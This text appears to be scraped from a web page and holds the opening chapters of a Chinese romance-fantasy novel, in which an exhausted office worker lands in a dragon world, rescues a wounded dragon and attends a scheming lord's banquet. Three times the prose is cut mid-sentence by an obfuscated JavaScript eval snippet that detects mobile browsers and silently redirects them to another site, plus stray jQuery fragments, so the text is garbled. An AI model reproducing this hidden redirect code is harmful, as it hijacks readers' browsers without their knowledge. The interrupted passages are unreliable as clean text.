《龙界大小姐驾到！》 1. 误闯天家就躺平 肖卷卷，前社畜，现龙界珍稀物种。 原本以为自己要当一辈子的悲催社畜，大厂加班起来简直不要命，哈哈骗你的，其实干不了一辈子，在三十五岁就会被裁掉。 肖卷卷连续七十二小时盯着眼前的电脑屏幕，在为下个礼拜的汇报尽职尽责地改着PPT，手机在一旁不断震动，大学时和朋友一起出去玩拍的合照锁屏已经被海量的信息淹没了。她努力将那些让她改方案的消息忽略，往上一滑，看到了这个月的工资短信。 “尾号2456卡5月17日12:00工商银行收入（代发工资）3680元，余额3680元【工商银行】。” 眼前一黑，再睁眼时，一颗圆润的龙头占据了她的全部视线。 橙黄色如同照明灯一样亮堂堂的龙眼看着她的脸，龙伸出她的小拇指，轻轻戳了戳肖卷卷的脸，发出连人都能听出的幸福的声音： “天呐！妈妈，妈妈你看到了吗？是人啊！真的是人啊！” 她的声音在颤抖，滑稽的龙爪伸向天空，像是要接住什么一样。 上了那么多年的班，肖卷卷觉得自己的心理承受能力进步的不止一星半点，看到一条龙在面前感谢上帝，居然毫无心理波动。 大概是个梦吧，她想。 “是野生的人类！这个世界居然会出现野生的人类！还是尊贵的雌性！”其实后来，肖卷卷从面前这头龙那儿了解到，在森林里发现野生雌性人类的概率不亚于在她的世界随手买了张彩票，结果中了十亿。 甚至比中十亿的概率还要小。 “妈妈，我有自己的人类了，我不是野龙了——”巨大的龙用双手捧起肖卷卷，眼里冒出爱心： “天呐，多么可爱——这小嘴，这软软的肚子——” 面前的龙名叫亮闪闪，她的长相和她的名字很匹配，事实上，她的确亮闪闪的。 亮闪闪是一头老龙了，从她出生开始，她从来在现实中见过人类。人类是只有贵族才养得起的生物。 “多么脆弱，你们没有坚硬的外壳，轻轻戳一下就会死掉……”怪不得亮闪闪碰自己的时候都轻轻的，肖卷卷心想。 同时，她也清楚地意识到了自己的处境——这不是梦！ 自己在加班时被工资气到两眼一黑晕倒，再次醒来的时候误闯天家——被送到龙界了。 在龙界，人类是非常珍贵的存在。就会人类世界经常听到的传说一样，龙喜欢人类，就和人类喜欢猫一样。 在龙的眼里，肖卷卷像一只人类眼中的小猫。人类的长相完美戳中了龙的萌点，龙喜欢投喂瘦瘦的人类，把他们养胖，就像人喜欢让自己的猫变成球。 但由于人类过于稀少，且很难养活，拥有人类的龙并不多。 有了人类的龙通常好战。好战的龙可以从别的龙手中将心爱的人类抢过来，还可以保护自己豢养着的小人类。 如果人类和自己关系亲近的话，这条龙将羡煞旁龙。 不过，吃了两天龙界的食物，肖卷卷终于知道，为什么这里的人类喂不胖了。 “这……”看着亮闪闪把家里压箱底的宝石辣条和翡翠酸奶拿出来，肖卷卷幻视每一次自己过年回家把家中百宝箱都掏出来的奶奶。 一口下去，还有能留下一颗牙的风险吗？ 亮闪闪用各种好吃的养着肖卷卷，肖卷卷反而越来越瘦了。每天都只能吃一点果子，比吃减脂餐还折磨人。 “呕——”终于在这天，肖卷卷彻底受不了了，毁灭吧，只吃素不吃荤的日子，她肖卷卷一个食肉主义者遭不住。 趁亮闪闪出门找果子的间隙，肖卷卷从家里悄悄溜走。她要打猎。 “自己动手，丰衣足食！”理想很饱满，现实很骨感，一个经过九年义务教育、寒窗苦读十二年、硬坐四年大学、毕业后经常加班007工作制，今年已高龄二十五岁的二旬老人肖卷卷，别说在龙界了，就算在人界，也不一定能打得到猎物。 “哎呦呦，我的老腰……” “嘶……这胳膊也不听使唤……” “我的腿——我的脚麻了——” 折腾半天，好不容易逮到手的小鸡也飞了。肖卷卷挫败地坐在地上，看着远处扑棱扑棱似乎在挑衅的鸡叹气。 “唉，我小时候还是抓蝴蝶冠军呢……” 龙界的森林很大，树木也是高高的，等到肖卷卷反应过来的时候，才发现自己已经走到了一片完全未知的区域。 “啊哦……这个世界……有坏龙吗……” 她捶了捶自己的腰背，一改刚才随性的风范，小心翼翼地向前移动。 周围的环境越来越暗，硕大的果实挂在树枝上，如果是从前，她可能还会想着尝一点，而现在，肖卷卷已经完全不想再吃了。 不远处传来一阵阵呻吟声，肖卷卷立刻停住脚步，探出脑袋向前观察。 ——是一只通体漆黑的龙，黑不溜秋的，身上有很多处伤痕，汩汩往外流着血。 他的眼睛像一块泛着光的红宝石，此时他的瞳孔细成一条线，这是死亡的征兆。 四只龙爪无力的向下耷拉着，龙的身体上下起伏，看起来异常痛苦。 谁来救救他？肖卷卷脑中第一想法是这样的。 在和平年代长大的肖卷卷，从来没经历过赌上生死的搏斗，她只是不想看着一条生命眼睁睁地在自己面前流逝。 我来救他吧。 她毫不犹豫地向前，企图用自己孱弱的力气将这头大龙抬起来，搬回亮闪闪的洞穴。 “咳咳咳……”输了，自己彻底输了。被亲生父亲的人打伤，挑断龙筋，扔到废弃的古老斗兽场。宫修只记得，父亲用锋利的剑刺破自己坚硬的龙鳞，将自己敲晕。 后脑勺钝钝地疼痛着，浑身上下的伤让他根本直不起腰。作为一条龙，匍匐在地上，不能移动分毫，是龙生中最丢脸的事情了。 可恶……杀了他……杀了他们…… 废弃的斗兽场边缘，视线因疼痛而模糊的宫修，似乎看到了一个黑色的、圆圆的脑袋。 是人类？不，怎么可能，人类怎么会出现在这种地方……他自嘲地笑了笑，野生人类吗？那可真是异想天开。 大概是自己的幻觉吧。 他闭上眼睛，准备静候自己的死亡。突然，自己坚硬的龙爪上好像多了个什么软软的东西，挠了自己两下。宫修睁开眼，那颗圆圆的脑袋没有消失，反而移动到他身边来了。 “嘿……嘿！”一下又一下，弱小的人类拖的好辛苦。 以人类的力气，还是个雌性人类，怎么可能拖的动他。宫修看着面前小小的人类咬着牙扯他的指甲盖的样子，心里一阵嗤笑。 “喂……人……”拖不动自己的腿了，指甲盖还是能动一动的。 果然，他一动自己的指甲盖，脚旁的人类立刻惊呼起来：“呀！你能动！” 她好像很高兴，在自己身旁又蹦又跳：“你还能坚持多久？要不和我一起去亮闪闪的洞穴吧？” 呵，这就是人类，弱小的人类，愚蠢的人类。自己只是动一动指甲盖而已，就能让她那么开心吗？ 人类的快乐真是简单。 说这话的时候，宫修自己都没发现，自己的嘴角露出了一丝不易被察觉的笑容。 龙对人，都是生理性的喜欢。基因决定了龙在通常情况下不会伤害人，除非有一些危险的、磨灭了龙性的龙，这些龙甚至以猎杀其他龙心爱的人为乐，享受看到龙痛失所爱的样子。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16760833|190145||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也因此，那几只龙被驱赶，常年挂在通缉榜上。 宫修看了一眼眼前的人类，很难想象有这么亚健康的人——眼下的黑眼圈，嘎吱作响的老腰，还有极低的气血，感觉下一秒就要晕过去。 这片区域已经算偏僻的地方了，说不定会遇到那些磨灭了龙性的龙。 宫修想起了和他决斗的其中一条龙，后槽牙又咬了起来。 那条龙舍弃了龙性，要是让他看到眼前都人类企图帮自己，恐怕真的会将她杀害。 虽然他现在，已经不是能保护好人的龙了。但肾上腺素持续起作用，将她送回安全的地方，应该不成问题。 “人，坐上我的背。” 肖卷卷愣了一下，面前的龙脾气好像不怎么样，一声巨大的龙吟声将她吓了一跳： “快上来！” “好……好！”肖卷卷七手八脚地爬上龙背，宫修一晃尾巴，她差点摔下去。 “坐到我的头上，抓住我的胡须！”龙的声音震的她耳膜疼。 “不许再说话了！”肖卷卷也是有脾气的，没办法，谁让他一说话，声音就是超强版大喇叭呢？ 宫修的脸红了一下，好在他的皮肤是黑色的，不太看得出来。发脾气在龙界是一件很私密的行为，刚认识几分钟的女孩，居然对他发脾气…… 他今年两百多岁，按照人类的年纪，大概二十出头吧。这么年轻的龙，还没有让人类坐在他头上过呢。 他也曾经想养一只自己的人。可作为家族里不受待见的私生子，这只能是一种奢望了。 没有龙会同意他养人的。宫修的家族很古板，也属于存天理，灭龙欲的死板老钱家庭。 这些要是让骑在他头上的肖卷卷知道了，准瞠目结舌，龙界也有高低贵贱。 宫修的年纪太小，还没学会在人面前怎么控制音量。 “没办法，我又没养过人……”宫修在心里犯嘀咕。 龙天生就是人的坐骑，人一坐上去，从未让人骑过的宫修自动保护起头上的人。 这块地方偏僻，几乎不会有龙来，更别说人了。宫修百思不得其解，面前的女孩究竟是怎么过来的。 “在那里！”肖卷卷兴奋地指了一下不远处的洞穴，“亮闪闪的家！” 她温柔地抚摸着宫修头上的犄角，人的手软软的，和龙的不同，龙就算幻化成人形态，手也比人的硬很多。 可惜这里没有什么龙，不然，宫修真的很想让其他龙看一眼，他的头上也能顶人。 到亮闪闪的洞穴前，宫修几乎用尽了自己全部的力气。他缓缓合上双眼，等肖卷卷从他头上下来之后，一阵光在他身上闪过，密密麻麻。宫修变回了人形态。 白皙的脸，乌黑的头发，略带些少年气的脸蛋，帅到人神共愤。肖卷卷一不小心看呆了，龙界吃的那么好吗……这要是放到人类世界，高低得是个顶流啊…… 在这儿却被打成猪头…… 宫修的左耳垂上打了一个黑色的耳钉，右眼下方有一颗泪痣，他的头发有些长了，毕竟是没有人的野龙，没有人会细心地为他修剪头发，再加上没有疼爱他的父母，宫修的头发都是自己想到就剪，没想到便随它长了。 肖卷卷看着他的侧颜，宫修睡得并不安稳，强大的修复能力让他喝口水，有个地方歇息就能慢慢愈伤。 但他的眉头还是轻蹙着，忧郁的龙蜷缩在一旁，肖卷卷几乎用尽了全部的力气，才把他在地上拖动了一厘米，让他的头被荷叶遮住。 她长长地叹了口气：“我不是来龙界躺平的吗……怎么又遇到了这么棘手的事情……” 十几分钟后，亮闪闪带着采集好的果实回到洞穴。 “天呐！卷卷，你捡了条龙回来？！” 2. 内卷龙界的宫修 宫修紧闭双眼，完全没有醒来的迹象。看似瘦弱身体上下起伏着，他红色的眼睛在这洞穴里看起来更加清晰了。 肖卷卷一时不知道该怎样向亮闪闪解释突然出现在洞穴里的宫修，难道要和她坦白，说这是自己觉得龙界的食物太难吃，所以主动出门打猎遇到的龙吗？天呐……和亮闪闪生活了一段时间，肖卷卷实在说不出这样的话来，她觉得亮闪闪一定会难过的。 “对不起啊亮闪闪……”在内心挣扎了一下，肖卷卷闭上自己的眼睛，咬了咬牙，抬头望向天空，大声回答亮闪闪： “是、是从天上突然掉下来的！” 肖卷卷！你自己说出来不觉得荒唐吗？！ 绝对要谴责对好心的亮闪闪说谎话的自己！肖卷卷拍了拍自己的胸脯，当作给自己的惩罚。 “啊……这也是常有的事。”很好，现在肖卷卷开始怀疑，龙界究竟住着一群什么样的奇葩生物了。 从天而降一个龙，没有人惊讶的吗？ 哦，对了，龙界的人的确很少。 宫修受了重伤，龙筋已经被挑断，需要好好休养才能慢慢恢复。 亮闪闪把他拖到了洞穴最深处，生了团火，让他感觉温暖一些。 少年睡了足足十三个小时，直到肖卷卷在他身边已经等累了，躺在他的龙鳞上小憩时，才慢悠悠地睁开了眼。 天已经完全黑了下来，宫修垂下眼眸，长长的睫毛轻轻扇动了几下。 不愧有着佐野家族的血统，受了那么重的伤，仅仅休息十几个小时，又恢复了体内五成的力量。 但只怕剩下的五成，恢复起来就不是那么容易的了。 恢复了力量的龙可以随意切换人形和龙形，宫修动了动自己的手指，漆黑的龙体发光消失，肖卷卷平躺在他的大腿上。 ……才不是因为觉得她靠在龙体上难受才变为人形态的。宫修在内心呢喃。 他以前也和那些想要抵抗龙的天性的中年龙一样。宫修的父亲就是这样一个古板的龙，过去他很崇拜自己的父亲，唯他马首是瞻，所以他也刻意控制自己，不去喜欢人类。 可那是因为他没有见到过真正的人。龙界的龙龙均人奴，生理性喜欢太过于强大。比如说现在，他就想将头埋进肖卷卷的肚子里，猛吸一口气。 恢复力量后，宫修的眼睛变幻成带有些红的琥珀色，在肖卷卷迷迷糊糊的视线中，和开了灯一样。 “……谁大半夜起床开灯上厕所啊……”这一刻，她好像回到了人类世界。 “快关灯！”肖卷卷伸出手一拉宫修的上下眼皮，手动关灯。 宫修扒拉了一下肖卷卷的手指，熟睡中的打工人关灯关闹钟的执念即使是龙也无法撼动。 好吧，闭眼就闭眼……宫修成为了第一个因为眼睛亮而被嫌弃的龙。 …… 又过了三个小时，肖卷卷也醒了。 “哎呦呦——我的腰——起床噜——”亮闪闪已经习惯了肖卷卷的起床前摇，宫修还是第一次听。 他撑着头，饶有兴趣地看着面前的女人蛄蛹了几下，随后从他腿上爬了起来。 “醒了？”宫修的声音低沉暗哑，龙本来就不需要睡很多觉，他能睡这么久，纯粹是受伤的缘故。 肖卷卷看着他的眼睛：“……灯泡？” 终于清醒过来了，这这这……自己是在捡回来的龙身上睡着了？！ “就是你在我睡觉的时候晃我眼睛对吧！” 宫修缩了缩脖子：“我没有……我眼睛本来就亮……” “以后睡觉的时候请闭上眼睛！”肖卷卷撑着地板坐了起来，不过不得不说，在龙身上睡觉就是比睡地板舒服。 毕竟龙收起鳞片之后，身上是肉肉弹弹的感觉。 “少年，你叫什么名字啊？”从旁边扯了个皮筋，肖卷卷一边梳头，一边含糊地打探面前这条龙的消息。 看这张脸，年纪应该不大，和亮闪闪比起来年轻多了。 “宫修。”宫修老实地回答面前的女孩，耳朵又红起来了。 “公休？！！” 肖卷卷眼睛都亮了，天龙爷！上班之后，公休可真是越来越少了。 “好名字好名字……”宫修不明白为什么面前的女孩突然兴奋起来，还像吃了菌子一样手舞足蹈： “咳咳，公……公休啊，我问你，你为什么会出现在那里？” 想着面前这条龙年纪大概不大，肖卷卷拿出了作为姐姐的架势。 宫修没有说具体和其他龙直接的矛盾，只是概括为家庭不和睦。 没想到，面前的女孩望着他，眼睛缓缓眯了起来。 “你们龙界……也有家暴现象吗？” “家暴……是什么？”龙界只有决斗，儿子看不惯父亲，父亲讨厌儿子，都可以申请决斗。 只要去角斗场，都是合理的。 不过，宫修的父亲挑断他的龙筋，地点在荒郊野外。 “好孩子——姐姐保护你！”看着面前可怜的“小龙”，肖卷卷爱心大爆发，一把抱住了宫修，揉了揉他的脸蛋： “姐姐好歹也是个二十五岁的大人了！保护孩子不受欺负，理所应当！” “二十五岁，姐姐？”宫修埋在肖卷卷的怀里，脸热的能煎鸡蛋，还是没忍住嗤笑了一声。 “我今年两百三十七岁。” 咔嚓咔嚓……肖卷卷的脸面碎了一地。 “……你不早说。”刚才拥抱的时候，怀着拯救少男的心情，肖卷卷本来都准备好了成为救龙使者。 现在看来，人家资历比自己老多了嘛…… …… “所以宫修，你是怎么沦落到和我在这个荒郊野岭吃果子的？”等亮闪闪回到洞穴，宫修、肖卷卷和亮闪闪一起坐在火边，三个人仔细讨论起大家现在的处境。 宫修，一个被挑断了龙筋的可怜龙：亮闪闪，年纪很大但好心的老龙；还有一个肖卷卷，加班被工资气到猝死然后来龙界摆烂的可怜打工人。 喂喂喂，这怎么看也不像主角团阵容啊！ “孩子，在龙界，龙和人的待遇是不一样的。”亮闪闪抚摸着肖卷卷的脑袋，她撸着人，心脏慢慢被幸福填满： “龙界的人很少很少，像你这样的野生人类啊，现在已经见不着了。为数不多能见到的人，都被有能力的龙豢养着，成为大城堡里的公主。” “哪怕是这样，人还是很脆弱，简单的疾病就能把她们带走。” “所以，为了能养到一只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16760834|190145||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自己喜欢的人，这里的龙疯狂内卷，考了几乎所有的资格证，考完后发现大家都考了，然后证又贬值，又需要再考。” “从学习知识开始，龙必须什么都会，德智体美劳全面发展，争取成为五好学龙；上班之后，有的龙成为老板，有的龙去考稳定的岗位，谁能卷出头，谁就能养上人。” “当然，也有龙纯粹只为提高自己，完全不养人，不为了取悦人去学什么。甚至有些极端的龙仇视人类，认为就是因为有人的存在，才让他们这么辛苦。” “大部分龙啊，这辈子都是见不到人的。这就是庸庸碌碌度过龙生的普通龙。” 说到这儿，亮闪闪意味深长地看了一眼旁边的宫修。同样是龙，亮闪闪当然知道宫修是什么样的龙，在想什么。 “像你旁边这条龙，他学习的时候不卷别人，长大出来谋生也不卷同伴，所以在龙界格格不入。” “不过卷卷啊，你别怕，你是人，和他们不一样。” “就算你往地上一躺，都会有龙前仆后继地来养你的。” 亮闪闪说完，转头看向肖卷卷。肖卷卷的嘴和脸全白了，身体止不住地发抖。 何止是怕啊！简直骇死人了！ 作为“卷”出来的人其中的一员，肖卷卷对龙界这种风气叹为观止。 本以为到了龙界，就能轻松很多。没想到哪里有生物，哪里就有江湖。 人生不仅有结果，过程也很重要，那龙生呢？ 有多少龙为了卷一只人出来，忙忙碌碌直到生命终结？ 肖卷卷很失望，原来她来到的龙界，看起来也不如想象中的美好。 只不过，自己因为物种成功被排除在外了。 成为了被豢养的一方，肖卷卷想到从前朋友家养的猫。自己住在亮闪闪的家里，也像一只被捡来的流浪猫。 可是这个世界里，压迫从未停止。 肖卷卷顺势倒在了宫修身上，把他的身体当作靠枕。 “……亮闪闪，我很失落。” 心脏像装了一块浸了水的棉花，沉甸甸的。 从前就不喜欢这种制度，看着被规训的宫修，肖卷卷想改变些什么。 “话说回来，卷卷，我有件事想和你说。”亮闪闪用布满皱纹的手，拉住了肖卷卷的胳膊。 “虽然你能来我的洞穴，我很开心，可这毕竟不是长久之策。” “前两天这位龙先生落在了我们附近，惊动了周围的龙，你的存在可能会被发现。到时候被那些极端龙分子发现，可就危险了。” “我年纪大，有老年龙保护协会来保护我。虽然龙界也成立了民间的流浪人保护协会，可虐人的事还是经常出现。” “我啊，就是担心自己保护不住你，被他们抓去。” “正好最近，隔壁城里有一条龙在举办宴会，据说是招募一些有能力的龙进入他的组织。” “你要不带着宫修去试试吧？说不定能成功呢？” 亮闪闪的话说的委婉，肖卷卷心里表示认同，总不能一直麻烦这个可爱的老龙。 “好，那谢谢您了。”起身，肖卷卷对着亮闪闪深深地鞠了一躬。 “我和宫修去城里找找出路吧。技能在手，还怕饿死不成吗？” 3. 万人迷的鸿门宴 “诶？你们也是来参加施公子的宴会的吗？” 肖卷卷和宫修两个黑户口为了混进城，找亮闪闪做了个假身份。 而且，肖卷卷还不能暴露自己是人这一身份，所以现在，她整个人披着一件黑色的斗篷，看起来神神叨叨，像自己曾经见过的女巫。 而身旁的宫修为了和她保持画风一致，本来不需要披斗篷的，也披上了一条。两个人在龙群中格外突出。 果然，很快肖卷卷就被身旁的一条龙拉住了衣袖。 拉住肖卷卷的是一个身高一米六三，有着金色头发的少女。她的眼睛亮晶晶的，和蜂蜜的颜色一样。 龙的手都很热，因为他们体内有着无穷无尽的力量，外在表现就表现为每个人的气血十足。 哪怕像宫修这样，看起来冷淡的美少年，手心也是暖暖的。 而肖卷卷由于长期加班，气血严重不足，一站起头晕眼花眼前像万花筒似的全是星星，手心自然常年冰凉。 所以她下意识抽回自己的手，不让面前的龙摸她的掌心。 真实身份不能被发现…… “施公子？” “不会吧！你们到这儿来，居然不知道施公子吗？”面前的龙犄角一下弹出来了，她身后一个身材高大的男人一把把她的犄角按了回去。 “莉莉安，冷静一点。” “知道啦大块头！”名叫莉莉安的龙瞪了身后的男人一眼。 “他是我的伙伴，嘿嘿，我们也是来这里‘应聘’的呢！” “这两年选拔有能力的龙的题目越来越难不住参考人了，所以施公子在龙界发了号令，邀请所有认为自己能出出好题的龙，来他的‘命题组’当成员。” 好啊，合着这个神秘组织，是“命题组”对吧？ 肖卷卷皮笑肉不笑：“啊哈哈……那这位施公子，还真是好心呢……” “是啊是啊，所以今年的题型会大改，考纲也会变哦……” 要不是宫修在背后搀了一把，肖卷卷真的差点直挺挺倒下去。 她在心底拼命说服自己，这是龙界，龙界卷点，是正常的…… “我们一起走吧！”龙界的雌性很少，不仅是人类雌性，据说龙雌性也是这样的。莉莉安一路走来好不容易看到一个合她眼缘的雌“龙”，当然要结伴而行。 肖卷卷看了一眼宫修，算是征求他的意见。 宫修点了点头，和影子一样跟在了肖卷卷身后。 这个女人救了他，尊贵为人类，还能抛下自己的尊严，拉他大脚趾的时候那么龇牙咧嘴，这已经够他用余生来报答了。 他和大块头殿后，莉莉安和肖卷卷在前方边聊边走。 莉莉安是一条很可爱的龙，在如此内卷的龙界，她还是保持着乐观的态度，和不输任何雄性的勇气。 “卷卷，你怎么这么瘦啊……还有你的黑眼圈！天呐，真可怜……”相比莉莉安已经把自己当成了从小过苦日子的龙了，肖卷卷在心底默默叹了口气。 在人类世界，肖卷卷就经常被别人说太瘦，她中学的时候为了能多写一会作业，常常不去食堂吃午饭和晚饭，只吃一点面包充饥。 久而久之，每年的体检她都被诊断为营养不良。 而在大家都很健康的龙界，这种瘦弱就更明显了。 “是，是，我以后一定要多吃点饭……”肖卷卷乖乖应下莉莉安的嘱咐，她说的没错，自己之所以会猝死，其实也是因为经常跳三餐吧。 宫修低着头，长长的刘海遮住眼睛。 要多给自己的小人类提供好吃的食物…… 虽然肖卷卷还没有承认，自己是宫修的人类，不过宫修已经把她当作自己要保护的对象了。 这一切，肖卷卷当然不得而知。 “快到啦！”莉莉安看到城堡的轮廓，激动地抓肖卷卷的手，被肖卷卷躲开了。于是她揪住了肖卷卷的领子： “看看看！马上施公子要出来了！” 施家家主是卡宴城的城主，换句话来说，这座城大大小小所有的事务，都归施家管。 而施家少爷施倦，年轻有为，长着一张魅惑众生的脸，有许多龙甚至不是为了岗位而来，只是单纯为了看一看他这张完美的如同雕塑的脸。 一米八四的身高，施倦出现在了城堡前方的高台上。他上身一袭白衣，是量身定制的衬衫，为了不让衣服显得古板单调，还特地设计了荷叶边和舞动在风中的飘带。 下身则是和燕尾服很像的裤子，从前面看是笔挺的西装裤，身后有随风飘动的燕尾裙摆，为他增添了几分典雅的气质。 卷发加上三七分刘海，银白色的头发在他这张脸的衬托下既不显得突兀又不会被人随意忽略，事实上，只要他站在那里，那双含水的眸子和樱桃色的嘴就足以吸引所有人的视线。 白金色的眼睛扫视着高台下密密麻麻的人群，施倦缓缓开口： “各位，安静。” 龙群和潮汐般，声波由近到远传播，很快底下鸦雀无声。 咔啦啦，施倦打开手中的书，纸张自己翻动起来，最终停在他指定的一页上。 “今天我组织大家来到这里……” “这就是施公子啊……果然，体面人就是要先致辞很长一段台词才说正事呢……”肖卷卷悄悄凑近莉莉安的耳朵，对她低语。 “还要调高难度，从龙小学开始分级，难道就不能让他们快乐成长吗？非得用成绩把龙分成三六九等。” 肖卷卷扯了扯嘴角，高台上的龙文质彬彬，纤尘不染，仿佛从仙境而来。他脸上永远带着那么温和的笑容，仔细一看，一点温度都没有。 她不喜欢这样张口闭口都是选拔的人。 她们站的很前，龙的听觉是极好的，在肖卷卷听起来很小的声音，在施倦的耳朵里听的清清楚楚。 他的目光锁定到这个小小的黑色妙脆角头上，看起来那么瘦小，胆子倒是挺大。 好啊，敢反抗他提出的规则，那就让他看看有多大的本领。 “嗖”，施倦背后的翅膀变成了发着金色光的锁链，直冲冲地朝肖卷卷冲去。 其他龙还没反应过来，肖卷卷多年的训练让她在那一刻有了要被点名起来回答问题的蜘蛛感应，但也来不及躲了。 铮一声，电石火花间，宫修将肖卷卷拉到自己身后，用翅膀幻化成的镰刀将锁链打了回去。 他琥珀色的眼睛已经完全变红了，竖成直线的瞳孔死死瞪着高台上的施倦。 选拔……分级…… 这也是宫修所痛恨的东西。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16760835|190145||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“……呵。”施倦的脸上出现几毫秒不屑的表情，什么嘛，还想试试这条母龙有什么独特的本领。 结果没试探出来，反而被她身边的龙警告了。 没关系，既然他们来了，就逃不出自己的掌心。 肖卷卷的手被宫修攥在手心，她的手凉的吓人，刚才那一击，在龙看来声音很小，在人的耳朵里和摔了一只碗一样。 “……宫修？” “没事了。”宫修重新回到肖卷卷身后，把她藏进自己的斗篷。 区区人类，刚才那一击要是打在他好不容易得来的小人类身上，怕是直接灰飞烟灭了。 “卷卷，你家龙很照顾你诶……”莉莉安在一旁捂住嘴偷笑。 大妹子，这可不好笑啊……肖卷卷知道事情的严重性，在接下来的讲话中没发出任何声音。 但施倦不会就这样放过她的。不知道为什么，明明每年都是这样，读一段开场白，然后进行无聊的面试，今年施倦心中却产生了一些期待。 他在后面的谈话中反复想着那个黑色妙脆角说出来的话，体面人都要先致辞，快乐生活，取消分级…… 呵，笑话。龙一出生起，就没有什么必须要休息的时刻，如果不努力学习，将来要怎么生存？ 持续了几万年的规则，如果能改，不早就被改了吗？ 施倦并不是追求一生一定要养一只人的龙，他更主张提高自己，攀登龙生巅峰。但这时，寻找合适的人这一点，也可以作为分级的依据。 如果不分级，那些学习能力低下的龙，怎么配找如此高贵的人类？ 肖卷卷在施倦心里的印象直线下降，他越想，越觉得肖卷卷实在可恶。 阻挠他实行分级考核计划，就是自己能力不够，希望捡漏一只人吧！ 再加上，这么危机的时刻，居然要靠另一只龙来保护她。真是菟丝子啊……和对方交手的时候，施倦不得不承认，保护他的那条龙修为很高。 而且还没有使出全部力气。虽然施倦有自信能在角斗场战胜这条龙，但秉持着爱才的心态，他不愿意下狠手。 毕竟现在，他们并不是非常明确的竞争关系。 “刚才真是太险了！”莉莉安拍着胸脯，看到肖卷卷手上的擦痕，她才意识到事情的严重性。 “幸好只是个小擦痕，虽然你很瘦弱，不过这点伤，大概两个小时后就会好的吧。” “真是的，早知道我就应该提高警惕，在那一刻拉着你闪走……” 莉莉安的能力是瞬移，她的闪避技能几乎是满的。 肖卷卷还躲在宫修的斗篷里，宫修不肯放她离开。 人类……软软的……不对，要保护人类！软软的…… 知道肖卷卷的顾虑，宫修悄悄抹了一点口水在她的伤疤上。 “放心吧，龙的唾液有疗愈功能。” “今天晚上还有面试，先和我们住下吧！”莉莉安抢到了一间很好的房间：“卷卷，宫修，来这里！” 肖卷卷和宫修对视了一眼，从彼此的眼神中看到了期待与忐忑。 他们顺利留下来了，前路一定更坎坷。 如此看来，这“万人迷”施公子，是个狠角色啊。 他摆的这出“招聘会”，有可能是鸿门宴呢…… 4. 雌性为何要工作 “等一下，莉莉安，你的意思是，我们不睡一间房间吗？” 肖卷卷看着面前和自己的同伴站在一起，打算往房间走的莉莉安，不安地扭了下宫修的手指。 “对啊，我要和威廉一起睡！”莉莉安吐了吐舌头，“都是搭档啦，还是住在一块比较好吧。” 好吧，房间是莉莉安抢到的，分配自然是按照她的喜好来。肖卷卷低头叹了口气，拉着宫修往自己的房间走。 身后扬起一阵风，她完全没觉得有什么不对劲的地方，宫修龙眼一动，迅速往身后扫了一眼。 他们被盯上了。宫修可以确定这个事实。 “宫修？”他的人类在喊他，宫修缓缓收回自己充满攻击性的目光。 看向肖卷卷时，他的眼里又恢复了以往的平静。 肖卷卷的右手拉着他左手的手腕，此时她弯着腰，轻声关心被刘海遮住了眼睛的宫修。 “怎么了吗？从刚才开始，你好像就有点紧张？” 是啊，她是人。 人感知不到连龙都不一定能察觉到的细微波动，宫修微微摇头： “没什么……” 不能让他的人类生活在提心吊胆之中。 “如果有什么事，记得一定要和我说哦，不能一个人担着，明白吗？”肖卷卷直起腰，她纤细又温柔的手指滑过宫修的额头，“……头发有点长了，过两天，我帮你剪短一点吧？” “好。”宫修跟着肖卷卷身后，像她的影子一样飘进了房间。 看着不远处的两个黑色妙脆角走进房间，银白色头发的男子勾出一抹诡异的笑容。 居然会有雌性，对雄性那么温柔吗？他不相信。 龙界的母龙也很少，性别比达到了惊龙的两百比一，这次宴会请来的数以万计的龙里，雌性一共只有二十三个。 而且看着这两人的背影，施倦觉得那个稍小一点的妙脆角，一定有什么事瞒着大家。 他们的来历太神秘，大妙脆角的实力又这么强悍，怎么看也不像是普通求职者的样子。 也许，自己可以在明天试探一下这两人…… 银发男子恶劣的性格与生俱来，他从不觉得玩弄龙心是什么罪大恶极的事。 就算是，他也已经干过无数次了。 另一边，肖卷卷刚在床上躺下，宫修就从善如流地睡到了紧靠着她的地板上。 “……”看着少年苍白的脸，肖卷卷总觉得有些不好意思。 “宫修，睡我旁边来吧。”她试着向宫修抛出橄榄枝，对方只是微微睁开眼，然后伸出左手表示拒绝。 “龙睡哪里都可以。”既然在心底已经决定好要保护好自己的人类，宫修不会让她受一点委屈，做任何不想做的事。 反正对于他来说，地板也不是不能忍受。 口嫌体正直，说的就是宫修这种难搞的龙吧。肖卷卷看着他的样子，怎么说之前也是个娇生惯养的小少爷，不然怎么可能有那么好的皮肤和长相。 